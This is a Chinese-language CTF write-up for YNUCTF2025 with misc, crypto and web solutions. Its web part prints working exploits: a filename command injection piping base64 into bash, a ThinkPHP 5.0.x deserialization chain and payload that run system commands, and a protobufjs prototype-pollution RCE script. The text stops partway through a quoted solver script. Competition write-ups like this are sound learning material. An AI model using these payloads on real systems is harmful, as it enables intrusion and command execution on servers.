文章

YNUCTF2025 wp

云南大学校赛,最终成绩如下

最终比赛排名

也是体验一次ak了web的感觉

misc(AK!)

随波逐流一把梭,misc基本都能秒

sign1

图片隐写

一把梭了

ynuctf{76b4011805f1a8e4b906c8f84083e}

sign2

恢复长度的图片

简单的高度修改,一把梭了

ynuctf{hello_NO_10}

sign3

binwalk一下,有个zip

zip密码123456

sign4

随波逐流一把梭了

flag{ez_traffic_analyze_isn't_it}

梭了

sign5

basee65536解码即可

sign6

第一层base64

第二层栅栏密码

第三层凯撒

ynuctf{welcome_to_crypto_no_no_it's_misc!}

sign7

exfi看到日期2024.8.18

认真观察看到航班号MU5156

然后去航班管家里面查路线,把途中的地址多试几次就出来了

ynuctf{MU5156_济宁市}

real_signin

之前写过原题

Sandbox总结 - 星盟安全团队

TPCTF{LIHHHHAWJ2123089hj091j2s++_+___+SO_FUN!!!}

keep patients

隐写了很多层

foremost分离

foremost分离出的png

lbs隐写,得到压缩包

zsteg -E 'b1,r,lsb,xy'  1.png > c1.zip

密码通过mp3setgo获取

8750d5109208213f

得到内容

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

ROT47解码

a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();

看着像混淆过的js

运行得到

DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

crypto

全靠ai了属于是,一点密码也不会啊

科目一

rsa该给的全给了,一把梭

科目二

​
def long_to_bytes(n):
    """将长整数转换为字节字符串"""
    if n == 0:
        return b'\x00'
    
    # 计算需要的字节数
    byte_length = (n.bit_length() + 7) // 8
    # 将整数转换为字节,大端序
    byte_data = bytearray()
    temp = n
    
    while temp > 0:
        byte_data.insert(0, temp & 0xFF)
        temp >>= 8
    
    return bytes(byte_data)
​
import gmpy2
​
n = 14800398328881299590819340504190580380456092059631690075005063133984540881936660258452775621223924666544144954334836222555637121913861461911511120598772742612257211866734223223551169379845956377316463148565472319496083497784140506423369878869325653192628559394438100890677759092281833985211109032193525146470474574038555501027831794382526298588084843624151270091755405172125755295019041607824556110833400237603510574340077488066619464463891145936844856029790556031249993366491347944857952783644884517487931959497277671000233728500580815998316871028625130306976346553172765025393568266481210362221045569800909331412733
c = 3226683255719031196217848694899679951486791739097829974521488957087083213961668895509559743441356033794647718015708053443544565749857917384859689397409032230013960380856389863512174152232545827021355026091788157830227404858132633755050279847337901334912864925648797224438856698330421196499553619596082492124166150997294968457955820549848688256744335135338361133281398238702530869245058134224833345813289889841131448598573914060539200838772794599083335075442300325391226963163497906943787479197157629086054275039547426187240897804712471769266518411206372631294491714326407919153747950197382718191269761217869751488836
hint = 12987568746001906055206984898391966154306293823413368197318033220007253559732613798213520758591764407361165035026252952738781655288063955880381155248487359665232418743102682447285019628343225449412293182820238493066124625638587962771742483758801870433502225777870867758951434219830364029862956004700576096898027481662036025990863195683120672477550100117533075245930357204209853376733831722053269897554835022487762532804990683291569769645549798668156761928886213422994798377126038329935663701335320780904961036593190804101309988816576211342610006023360140039454436765214533480304604665139102691280641900617785903432091
e = 0x10001
​
# 计算x = (514p -114q) mod n 的逆元
x = pow(hint, -1, n)
​
# 构造二次方程系数
a = 514
c_term = -114 * n
​
# 计算判别式D
D = x**2 + 4 * a * 114 * n
​
# 检查D是否为完全平方数
sqrt_D, is_square = gmpy2.iroot(D, 2)
if not is_square:
    print("D is not a perfect square.")
    exit()
​
sqrt_D = int(sqrt_D)
​
# 求解可能的p值
p_candidates = [(x + sqrt_D) // (2 * a), (x - sqrt_D) // (2 * a)]
​
# 寻找正确的p
p = None
for candidate in p_candidates:
    if candidate > 0 and n % candidate == 0:
        p = candidate
        break
​
if p is None:
    print("Failed to factor n.")
    exit()
​
q = n // p
​
# 计算私钥d并解密
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
​
print("Decrypted flag:", long_to_bytes(m).decode())

科目三

def long_to_bytes(n):
    if n == 0:
        return b'\x00'
    byte_length = (n.bit_length() + 7) // 8
    byte_data = bytearray()
    temp = n
    while temp > 0:
        byte_data.insert(0, temp & 0xFF)
        temp >>= 8
    return bytes(byte_data)
​
import gmpy2
​
n = 15287896232417035851086235981265563998134955866060843093748786671508129573251847003999527856485758549860126384580494917915364701306071685594229628031088977839684017081520654236776242785628925973189526817881248575355945542383048981710499445870387398064681544701703040156490422288944492930981478623470676630519491494797669361671152282036093156291654847860141996604232792856741241190404244899692174170044284422033020291741225488936077424056397787303310917268623482653264619553896143058121676352634144974317001785653348804555306941019526122795501201244128892757817782379609209323229336095939877133645371087495721982077851
c = 10335731049659882752941688907666096178702536553091840423438709859822077660889041289453755832287731894533967548970056153125024216390349672762582514080484148554114270763773638131333751848282102192013484408260305849882014438942680171042361801537976517203503505431780538954629956851215659657347073470449654560553579511717692309994438153543092852984867986200996617783236167876715696022117375897278585802566265123300369506539798286781856060562730888823890607123908218123879683297613504832412218988099143086207152856858851239217659478875527776774718491450180318117034184577362714951757204179400537035978839820598625386842155
hint1 = 954259052168542846445218523906612037976703570680262763318016110377543080168420506397488200667531627829686806420464936512964672243017152862772934628936916108747183934393996230520064638985403076196245683307546262134276340864473159876054035006623792703496168743368872334109205800306397889260667445974047474691667574619324342041921812231388131294
hint2 = 7319218157728483512391476802367240839412715153439389874719571101645409627201408126148200716667865521798554839099612725092526376152879439633568344077115785738795095400608538636155670360850049616144323401662060273892265948250582301711360660846303268531613470805002069945130941897665440928660306472119401551631430834863115449566482956009031349761084669714239605390947236948196226492949854572604036724772462353215365730260900863694563949325503975568464628687453477104
e = 0x10001
​
h1_prime = hint1 + 0x114
h2_prime = hint2 + 0x514
​
# 枚举可能的x1和x2,优先尝试常见值
for x1 in range(0, 2048):
    for x2 in range(0, 2048):
        if x1 == 0 and x2 == 0:
            continue
        D = x2 * h1_prime - x1 * h2_prime
        g = gmpy2.gcd(D, n)
        if g != 1 and g != n:
            p = g
            q = n // p
            phi = (p-1) * (q-1)
            d = pow(e, -1, phi)
            m = pow(c, d, n)
            print("Decrypted flag:", long_to_bytes(m).decode())
            exit()
​
print("No factors found. Try increasing the range.")

科目四

def long_to_bytes(n):
    byte_array = bytearray()
    while n > 0:
        byte_array.append(n % 256)
        n = n // 256
    return bytes(byte_array[::-1])
​
import gmpy2
​
c = 6571049256120979380478956075029414807834522817224308933941845420602424281666027318257440176282179258008674533223097045800178199277242900734878321766748394089339785153695025229322622953658315810
​
# 计算x的值
key_length = 41  # key{36位uuid} → 41字符
x = (2 * (gmpy2.powmod(256, key_length, 1<<1024) - 1)) // 255
# 生成素数p和模数n
p = gmpy2.next_prime(x)
n = p * p
# 计算私钥d
phi = p * (p - 1)
e = 65537
d = gmpy2.invert(e, phi)
# 解密
m = pow(c, d, n)
flag_bytes = long_to_bytes(m)
print("flag", flag_bytes.decode('utf-8'))

sign1

n = 22704983441342148789158477928504200252949219550948566906790734116857581896147602873641731204245234489794553123971018486415513604830790333726233734999972446008361933367602634881722198692541849562885481151700582715982199448346232898715159722536857967993760062251151739817224614937545587492136925970734203042940959736935828777312454374268609959770517451831445322231737862176733824990754042939484572457599641178043983404812306352941111629671712818222046739328026817232851849907790058073229445025638251952601259007892950527809151012888476941620209777665936969350417279657180049199016961747961934829450405121018896026683057
e = 3
c = 27091082454125034709660465484186175481294547541915314357428478859775459918462993752000949426427351121381005723451455537027301071775833846318612013393929395332670588224596463878232882207935407881802031486452494491990307689920104930994688222105464546716718442197687350963630258262135529644577487776191919246614888483885478030439860492032522757697088199449807080875330693644177211961129758831318676484517444567023668238987052635277498277452417641451725711327258651748101500112041968643835679591426500841978386212815251521283368037
m_high = 30033696379897398978772526118026660467778905226735939980072689354761479122906588371890865088748183335297343600411096102175209674580047859143620533292633404045742635155577634816
​
P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = (m_high + x)^e - c
x = f.small_roots(X=2^64, beta=0.5)[0]
​
m = m_high + x
print("Flag:", bytes.fromhex(hex(int(m))[2:]).decode())
Flag: ynuctf{you_will_get_high_score_fighting_for_the_last_one_i_will_wait_you}

sign2

c = 1221991191181537480409280274601665703436452140103304537845613601178696380818070104367013417214736049755604143035487180738359289898220649954048656088595437207285439557305498232173015879786423288421449102163518842089724119856793640811296229737537420246940355390598891872205214803073572059769996643624345908446925180150015392213855838576280574429232759361661272308828918455571430474891558942292218205997271921456802441484120867681994391169344900411716709726179808258177460514845834766494746593823485625859020123297205069971090717613794677771667122121445363402552653272055500125897806219551396366979767933408044709752359
p_high = 92283816334791027537832980799840991188721580033186187030916296688371970354339160232191061774075579274055020758326031496089309793343324792687435117404979114975149614970117678398492298003334407661416092747448087069801349794590599073348176907840464037
n = 26071445595981395133268968075251944466498060763819227478695947509424921547060590393129061508017457456424978728239726133552097721600303144638009869734748681869056009308293142371152663228344020236515443813182209787660745959910062299761545996066189590736556796787377942053946456193809786130022858952981573029366618549463618113877861619738041802302141510592797078274982782868034373320344206299273253051629520980823750320265771084278721585606145566214491744680192697679277401296499227294030714763962644130749189453930479708165124571614561176572863416034011773618849345401444589259247760138603659126070309675809422023170493
e = 114
​
ph = p_high
​
PR.<x> = PolynomialRing(Zmod(n))
f = ph*(2^200) + x
x0 = f.monic().small_roots(X=2^200, beta=0.44, epsilon=0.03)
​
if x0:
    x_val = x0[0]
    p = int(ph*(2^200) + x_val)
    if n % p == 0:
        q = n // p
        print("[+] p 恢复成功!")
        print(f"p = {p}\nq = {q}")
        
        # 计算φ(n)并处理e的因子
        phi = (p-1)*(q-1)
        g = gcd(e, phi)
        e_prime = e // g
        
        # 确保e'和φ(n)/g互质
        if gcd(e_prime, phi//g) != 1:
            print("无法直接解密")
        else:
            d_prime = inverse_mod(e_prime, phi//g)
            m_candidate = pow(c, d_prime, n)
            
            # 在模p和q下寻找g次根
            Zp = Zmod(p)
            Zq = Zmod(q)
            m_p = Zp(m_candidate).nth_root(g, all=True)
            m_q = Zq(m_candidate).nth_root(g, all=True)
            
            # 使用中国剩余定理组合所有可能的解
            solutions = []
            for mp in m_p:
                for mq in m_q:
                    m = crt(int(mp), int(mq), p, q)
                    solutions.append(m)
            
            # 筛选符合条件的明文(flag格式)
            for m in solutions:
                flag_bytes = bytes.fromhex(hex(m)[2:])
                if b'flag{' in flag_bytes:
                    print("\n[+] Flag 解密成功:")
                    print(flag_bytes.decode())
                    break
            else:
                print("未找到符合格式的flag。")
    else:
        print("错误:恢复的p不是n的因数。")
else:
    print("未找到有效解")
[+] p 恢复成功!
p = 148294375337784953961006816644772879111937895613024930260535417412414748448269600108911770957280643311137972682188515112723421841991258318554872296491878779103425816763932645053428239050518024919617854417726804221385895450878839755919561981889906508029235131670359323906076157852344713532647055392564414789969
q = 175808728662809036525888983677017424775807087476419568408284072484109706199100351104810334225329333492988436671420594297516672524735825002402320193077682291062883195053847663154728131665731526338788024203413165230309959222970443927928740718822655039075289973972271807990007354744397850897562639577869203111597
​
[+] Flag 解密成功:
flag{18187442003}

web(AK!)

php_rce

无字母rce

RCE篇之无数字字母rce - 学安全的小白 - 博客园

照着打然后在环境变量里面找到了

黑魂3

写一个脚本一直提交即可

但是要先爬下来黑魂三的数据

数据类似这样

"镰刀剑
不死聚落的工作器具之一。
大幅弯曲的刀身用于切断遗体。
刀刃在刀身内侧,
是以拉扯切割方式使用,
因此盾牌难以抵御它的攻击。
战技:碎步
可以一口气移动到敌人的侧面或背后,
在锁定目标的状态下使用特别有效。"
​
(下一个物品)

然后写脚本爆破即可 注意更新cookies

import requests
from bs4 import BeautifulSoup
import urllib.parse


base_url = "http://9998-772e074c-39ea-4d23-8ca9-c1763025e5a8.challenge.ctfplus.cn/"

txt_file = "1.txt"
with open(txt_file, "r", encoding="utf-8") as f:
    content = f.read()
entries = content.strip().split("\n\n")

session = requests.Session()
session.cookies.update({"session": "eyJhbnN3ZXIiOiIiLCJkZXNjcmlwdGlvbiI6IiIsIm4iOjgyN30.Z--vjg.aNZLyRmt8JIhoPhcnRCkT5OWCpM"})  # 

for i in range(100000000):
    print(f"第 {i+1} 次尝试...")
    response = session.get(base_url,cookies=session.cookies.get_dict())
    prompt_text = response.text
    print("完整响应:", prompt_text)
    soup = BeautifulSoup(prompt_text, "html.parser")
    first_p = soup.find("p")
    if first_p:
        p_text = first_p.get_text(separator=" ").strip()
        first_line = p_text.split("。")[0].strip() + "。"
    else:
        first_line = prompt_text.split('\n')[0].strip()
    #print("提取的第一行:", first_line)
    if "Set-Cookie" in response.headers:
    #    print("收到新Cookie:", response.headers["Set-Cookie"])
        session.cookies.update(response.cookies)
    #print("当前Session Cookie:", session.cookies.get_dict())
    answer = ""
    for entry in entries:
        lines = entry.split('\n')
        if len(lines) < 2:
            continue
        description = '\n'.join(lines[1:])
        if first_line in description:
            answer = lines[0].strip()
            #print("找到匹配,原始答案:", answer)
            answer = answer.replace(" ", "").replace("──", "").replace("—", "").replace('"', "").replace("'", "").replace('"', "").replace("“", "").replace("”", "").replace("‘", "").replace("’", "").replace("《", "").replace("》", "").replace("【", "").replace("】", "").replace("[", "").replace("]", "")
            #print("删除后的答案",answer)
            answer = urllib.parse.quote(answer)
            #print("处理并编码后的答案:", answer)
            break
    if answer == "unknown":
        continue
    submit_url = f"{base_url}?answer={answer}"
    submit_response = session.get(submit_url,cookies=session.cookies.get_dict())
    print("提交结果:", submit_response.text)
    if "Set-Cookie" in submit_response.headers:
        #print("提交后新Cookie:", submit_response.headers["Set-Cookie"])
        session.cookies.update(submit_response.cookies)
    print("当前Session Cookie:", session.cookies.get_dict())    
    if "ynuctf" in submit_response.text:
        flag_start = submit_response.text.find("flag{")
        flag_end = submit_response.text.find("}", flag_start) + 1
        flag = submit_response.text[flag_start:flag_end]
        print("找到Flag:", flag)
        with open("flag.txt", "a", encoding="utf-8") as flag_file:
            flag_file.write(flag + "\n")
        print("Flag已保存到flag.txt")
    print("-" * 50)

neko

看源码,找到各种能用的函数

所有楼层

楼层列表

所有状态(血条,攻击力等)

所有状态

找到一个控制状态的函数

最后总结一下,控制台输入

events.prototype.changeFloor("MT350")//设置为最高层
core.setStatus('hp',99999999999999999999999999)//血量
core.setStatus('atk',99999999999999999999999999)//攻击
core.setStatus('def',99999999999999999999999999)//防御
core.setStatus('money',99999999999999999999999999)//钱
core.setStatus('mdef',99999999999999999999999999)//速度?

然后打完boss就行了

ez_rust

一:/路由用来查看当前的功德数量,大于十亿后即可得到flag。

二:/reset是用来清空功德。

三:/upgrade,POST路由,用来控制功德。

upgrade路由代码

/upgrade这里,如果quantity太大会溢出为负数,最终减去一个负数,相当于增加

所以name=Cost&quantity=222222222

那么cost就是负数,减去负数相当于加,就能功德无量了

ez_python

黑盒,猜测直接命令拼接了,测试文件名为1.tar || sleep 5 ||能正常睡5秒

由于无法使用/,只能把要运行的命令编码为base64

1.tar || echo ${base64} |base64 -d | bash ||

直接反弹shell即可

phpshop

看登录逻辑,发现登录的时候竟然是从id这个键里面拿数据,而不是从username里面拿(这里卡了好久)

php的find方法

账号1密码123456登录进去

thinphp5.0.23有反序列化漏洞

更新数据的时候看似能直接写入data,实际上会被编码一次,不是原始数据

如果能写入shop.sql的data,那么就可以打反序列化

反序列化地址

这里可以sql注入

这里可以通过SQL注入来写入data原始数据

data=1&data`%3D'realdata'where`id`%3D1%23=testdata

后端看到的是一个叫

data`%3D'realdata'where`id`%3D1%23

的参数为test

但是sql看到的是

`data`='realdata'where`id`=1#=testdata

那么就能完全控制sql语句,写入data了

ThinkPHP5.0.x 反序列化_thinkphp 5.0.x反序列化-CSDN博客

打反序列化即可

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        {
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $a = array(new Windows('system','cat /*'));
    echo bin2hex(base64_encode(serialize($a)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    {}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        {
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct($function,$parameter)
        {
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        {
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
    {
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        {
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        {
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}

最终paylaod

id=1&name=test&price=100.00&on_sale_time=2023-12-19T11:11&image=test&data=1&data`%3D'YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoiY2F0IC8qIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoiY2F0IC8qIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0%3D'where`id`%3D1%23=test

notes/notes_revenge

protobufjs有原型链污染

protobufjs Prototype Pollution vulnerability · CVE-2023-36665 · GitHub Advisory Database

loading .proto files by using load/loadSync functions
Object.constructor.prototype.<new-property> = ...;

先看看源码

/search限制本地路由

app.use('/search', restrictToLocalhost);

/customise可以控制settings.proto来污染原型链(前文提到的打开proto文件来污染)

app.post('/customise',(req, res) => {
  try {
    const { data } = req.body;
    let author = data.pop()['author'];
    let title = data.pop()['title'];
    let protoContents = fs.readFileSync('./settings.proto', 'utf-8').split('\n');
    if (author) {
      protoContents[5] = `  ${author} string author = 3 [default="user"];`;
    }
    if (title) {
      protoContents[3] = `  ${title} string title = 1 [default="user"];`;
    }
    fs.writeFileSync('./settings.proto', protoContents.join('\n'), 'utf-8');
    return res.json({ Message: 'Settings changed' });
  } catch (error) {
    console.error(error);
    res.status(500).json({ Message: 'Internal server error' });
  }
})

/create创建notes

/view可以看notes,注意这里是直接打开一个json

app.get('/view/:noteId', (req, res) => {
  const noteId = req.params.noteId;
  try {
    let note=require.resolve(`./notes/${noteId}`);
    if(!note.endsWith(".json")){
      return res.status(500).json({ Message: 'Internal Server Error' });
    }
    let noteData = require(`./notes/${noteId}`);
    for (var key in module.constructor._pathCache) {
      if (key.startsWith("./notes/"+noteId)){
        if (!module.constructor._pathCache[key].endsWith(noteId+".json")){
          if (noteId===healthCheckId){
            cleanserver();
          }
          delete module.constructor._pathCache[key];
          return res.status(500).json({ Message: 'Internal Server Error' });
        }
      }
    }
    if(req.query.temp !== undefined){
      fs.unlink(`./notes/${noteId}.json`, (unlinkError) => {
        if (unlinkError) {
          console.error('File missing');
        }
        noteList=noteList.filter((value)=>value!=noteId);
      });
    }
    return res.render('view', { noteData });
  } catch (error) {
    console.log(error)
    return res.status(500).json({ Message: 'Internal Server Error' });
  }
});

如果我能想办法写入flag进json,就能看到回显

/healthcheck当我们访问路由,bot会被触发

注意到bot的一个组件puppeteer(用来启动浏览器),里面引用了child_process调用spawn

this.#browserProcess = childProcess.spawn(
  this.#executablePath,
  this.#args,
  {
    detached: opts.detached,
    env,
    stdio,
  }
);

child_process 子进程 | Node.js v23 文档

spawn会检查是否配置shell,使用shell来运行命令 如果设置成/proc/self/exe就会用node

不过此时传入argv0不会有任何作用,因为参数被固定,但是NODE_OPTIONS 允许我们将命令行参数传递给 node,通过使用NODE_OPTIONS--require /proc/self/cmdline,可以做到执行自定义的argv

利用思路参考原型污染到远程代码执行 - HackTricks --- Prototype Pollution to RCE - HackTricks

(话说这hacktricks真好用,有时间多看看)

最后访问/healthcheck,触发rce

这里命令设置成把flag放进enoch.json来读取

import requests

base = "http://3000-5b3510fd-0434-4462-93f7-81d85a9445dd.challenge.ctfplus.cn"
url = lambda end: f"{base}{end}"

proto_overrides = """
option(a).constructor.prototype.author = "<h1>enoch</h1>";
option(a).constructor.prototype.shell = "/proc/self/exe";
option(a).constructor.prototype.argv0 = "console.log(require('child_process').execSync('rm /app/notes/Healthcheck.json && cp /app/notes/* /app/notes/enoch.json').toString())//";
option(a).constructor.prototype.NODE_OPTIONS = "--require /proc/self/cmdline";
""".strip().split("\n")

for proto_override in proto_overrides:
    r = requests.post(url("/customise"), json=dict(data=[
        { "title": "optional" },
        { "author": f'''{proto_override}; optional'''.strip() }
    ]))
    print(r)
    r = requests.post(url("/create"), json={"enoch": "1"})
    print(r)

访问/healthcheck

然后访问/view/enoch

最终拿到flag

还有另一种利用思路,都能原型链污染了,直接污染,进search路由搜索flag也行啊

但是这个search有点反人类(反正是给bot用的),不能直接搜到,要盲注

这里贴上大佬的脚本(是的,其实这题是bi0sCTF 2024的题目https://siunam321.github.io/ctf/bi0sCTF-2024/Web-Exploitation/required-notes/,但是不想注了,最终用了rce的方式)

#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
from re import search

class Solver:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.FLAG_FORMAT_REGEX_PATTERN = r'(bi0sctf{.*})'
        self.CUSTOMISE_ROUTE = '/customise'
        self.CREATE_NOTE_ROUTE = '/create'
        self.SEARCH_NOTE_ID_ROUTE = '/search/'
        self.VIEW_NOTE_ROUTE = '/view/'
        self.PROTOBUF_SCHEMA_PAYLOAD = 'option(foobar).constructor.prototype._peername.address = \"127.0.0.1\";optional'

        self.FLAG_NOTE_ID_LENGTH = 16
        self.CHARACTER_SET = 'abcdefghijklmnopqrstuvwxyz0123456789'
        self.INCORRECT_CHARACTER_STATUS_CODE = 200
        self.CORRECT_CHARACTER_STATUS_CODE = 500
        self.CORRECT_FINAL_CHARACTER_MESSAGE = 'Note found'
        self.leakedFlagNoteId = str()

    def injectPayloadToProtoBufSchema(self):
        print('[*] Injecting the Prototype Pollution payload into the message type `Note`...')
        dataObject = {'data':[{'title':self.PROTOBUF_SCHEMA_PAYLOAD},{'author':'optional'}]}
        response = requests.post(f'{self.baseUrl}{self.CUSTOMISE_ROUTE}', json=dataObject)

        isInjected = True if response.status_code == 200 else False
        if not isInjected:
            print('[-] The Prototype Pollution payload didn\'t get injected into the message type `Note`')
            exit(0)

        print('[+] The Prototype Pollution payload has been injected into the message type `Note`!')

    def pollutePeernameAttributeAddress(self):
        print('[*] Polluting `_peername`\'s attribute `address` into "127.0.0.1"...')
        dataObject = {'title':'','content':''}
        response = requests.post(f'{self.baseUrl}{self.CREATE_NOTE_ROUTE}', json=dataObject)

        confirmPollutionResponseStatusCode = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}').status_code
        isPolluted = True if confirmPollutionResponseStatusCode == 404 else False
        if not isPolluted:
            print('[-] `_peername`\'s attribute `address` didn\'t get polluted')
            exit(0)

        print('[+] `_peername`\'s attribute `address` has been polluted!')

    def bruteForceNoteIdViaErrorBasedOracle(self):
